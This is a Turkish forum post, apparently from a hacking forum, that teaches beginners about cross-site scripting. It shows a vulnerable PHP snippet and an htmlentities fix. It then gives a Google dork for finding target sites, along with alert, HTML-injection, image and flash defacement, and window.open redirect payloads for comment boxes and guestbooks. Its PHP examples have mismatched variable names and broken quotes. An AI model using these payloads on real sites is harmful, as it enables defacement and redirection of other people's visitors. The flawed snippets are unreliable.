XSS açığı nedir detaylı bir şekilde anlatım

'Web Hacking / Security' forumunda TrkHackeri tarafından 30 Kas 2019 tarihinde açılan konu

  1. TrkHackeri

    TrkHackeri Üye Üye

    Merhaba Arkadaşlar
    Bugün size XSS Cross Site Scripting olarak bilinen açığı anlatıcam elimden geldiği kadar.
    Anlatmamın sebebi acık tararken hiç ummadıgım bir sitede cıktı ve düşündümkü demek hala bu acıklar işe yarıyor bende yeni başlayanlar için bu dökümanı hazırlayayım dedim.




    Neler Anlatıcam Peki ?
    1) XSS Nedir ?
    2) XSS Açığı Nasıl Oluşur ?
    3) XSS Açığını Kapatma ?
    4) XSS Açığını Bulma Yöntemi ?
    5) XSS Açığını Hackleme ?

    Anlatıma Geçelim Artık !


    1) XSS NEDİR ?
    XSS Cross Site Scripting olarak bilinen web uygulamalarında mevcut olan çok
    yaygın bir açıktır.XSS atak yapan kişinin zararlı kodlarını inject etmesine

    dayananır.Kullanıcıya yönelik saldırı yapabiliriz.Sql açığı gibi servera degil.
    2) XSS AÇIĞI NASIL OLUŞUR ?

    XSS açıkları bir değişkenin değerinin var olup olmadığını kontrol etmeden
    değişkenin yansıtılmasından meydana gelir.

    Örneğin;

    Kod:
    <?php
    $ak74 = $_GET[’trk];
    echo $trk
    ?>
    Yukarıdaki kodlarda byrool değişkeni echo ile yansıtılmış.Ancak GET metoduyla
    byrool1 değeri nin kontrolu yapılmamış.Bu hata echo $trk satırında XSS açığı
    meydana getirmektedir.


    3) XSS AÇIĞI NASIL KAPATILIR ?


    Eğer değişkenin değerinin var olup olmadığını kontrol edersek XSS açığını
    kapatmış oluruz.XSS açığını nasıl kapatırız örneğini verecek olursak;

    Kod:
    <?php if(isset($_GET[’trk’])) // Kontrol if $_GET[’trk’] varmı?
    {
    echo htmlentities($_GET[’trk’], ENT_QUOTES); // Yansıt ve encode kodlarla devam et
    }
     ?>
    4) XSS AÇIĞI NASIL BULUNUR ?
    inurl:"search.php?q=" Google dorklarını kullanarak.

    5) XSS AÇIĞINI NASIL HACKLERİM ?
    **********alert("XSS")</script>

    Bu kod ile bir popup uyarı mesajı karşımıza çıkacaktır.Şimdi yukarda verdiğimiz
    dork örneği ile XSS saldırı tipini belirleyelim:

    http://site.com/search.php?q=**********alert("XSS")</script>

    Evet popup uyarısı geldi.
    XSS ile yapılan yanlışlardan bir tanesi herkesin sadece javascript kod inject
    edildiğini düşünmesi.Oysaki:

    http://site.com/search.php?q=<br><br><u>XSS</u>

    Bu inject çeşidindede bold yazısı ile de hata alabiliyoruz.

    XSS açıklarının nasıl çalıştığını anladık.Şimdi Deface yöntemleri üzerinde,
    duralım.

    İlk yöntemimiz Html tag’ı olarak bilinen <img > etiketi.XSS açığı var
    olan bir web sitesinin üzerine grafiğimizi bağlayabiliriz.

    <html><bOdy><IMG src= "http://site/resim.png></bOdy></html>

    Yukarda nedemek istediğimi verdiğim koda geçerli bir resim adresini girip
    uyguladığınız zaman anlarsınız.

    XSS kodumuzu pano yada ziyaretçi defteri yada yorum kutularına girdiğimiz
    zaman web site kullanıcıları burayı ziyaret ettiği zaman:

    <IMG src= "http://site.com/yourDefaceIMAGE.png"> kodumuz ile resmin olduğu
    sayfaya yöneleceklerdir.


    Diğer bir yöntem flash video yöntemi.

    <EMBED src= "http://site.com/xss.swf">

    Kodlarımız ile ziyaretçilere eşsiz bir görsel şölen sunabiliriz.

    Yada yönlendirme kodu atabiliriz.

    **********window.open( "http://www.google.com/" )</script>

    Yukardaki kodumuz ile XSS bulduğumuz zayfaları yönlendirebiliriz.
     
    AtakBey bunu beğendi.